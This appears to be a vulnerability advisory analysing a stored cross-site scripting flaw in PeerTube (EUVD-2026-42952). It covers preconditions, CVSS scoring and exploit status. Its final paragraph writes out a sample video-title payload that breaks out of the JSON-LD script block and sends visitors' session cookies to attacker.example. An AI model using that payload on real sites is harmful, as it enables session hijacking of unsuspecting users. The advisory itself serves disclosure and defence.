PeerTube EUVD-2026-42952

Exploitation requires the attacker to hold an account with video upload privileges on the target PeerTube instance - on open-registration instances this is trivially obtainable; on closed instances it requires prior account compromise or social engineering. The attacker must be able to set at least one video metadata field (such as the title or description) to a value containing the byte sequence </script>. Victim interaction is required: a user must visit the attacker's video watch page while the malicious metadata is present. The vulnerability is present in the default server-side rendering pipeline and does not require any non-default PeerTube configuration to be active. Exploitation is bounded by the PeerTube version - instances running 8.2.2 or later are not affected. Visitors who disable JavaScript entirely would not execute the payload, but this is not a practical defensive assumption.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:P, score 5.1) accurately captures the key risk constraints: network reachability with low complexity, but requiring low-privilege account access (PR:L) and passive victim interaction (UI:P). Impact is limited to the subsequent system - the victim's browser context - with low confidentiality and integrity effects (SC:L/SI:L) and no availability impact. There is no CISA KEV listing and no publicly identified proof-of-concept code in the provided data, placing this in the no-public-exploit category at time of analysis. EPSS data was not provided and cannot be assessed. The stored nature of the XSS meaningfully elevates real-world impact compared to reflected variants: a single malicious upload persists and activates for every visitor without further attacker interaction. However, the PR:L requirement substantially limits the attacker pool on instances that disable open registration. On open-registration instances, the effective privilege barrier is near zero. The moderate CVSS score is appropriate - this is a real priority for instance administrators, particularly those running open-registration deployments, but it does not represent a critical remotely unauthenticated threat.

An attacker registers an account on a PeerTube instance with open registration enabled and uploads a video with a title such as Interesting Video</script><script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The PeerTube server embeds this title unescaped into the JSON-LD block of the video watch page; when any visitor navigates to that page, the browser closes the script tag at </script>, executes the attacker's payload in the instance's origin, and exfiltrates the victim's session cookie. No public proof-of-concept was identified at time of analysis, but the technique is a well-documented variant of stored XSS requiring no specialized tooling.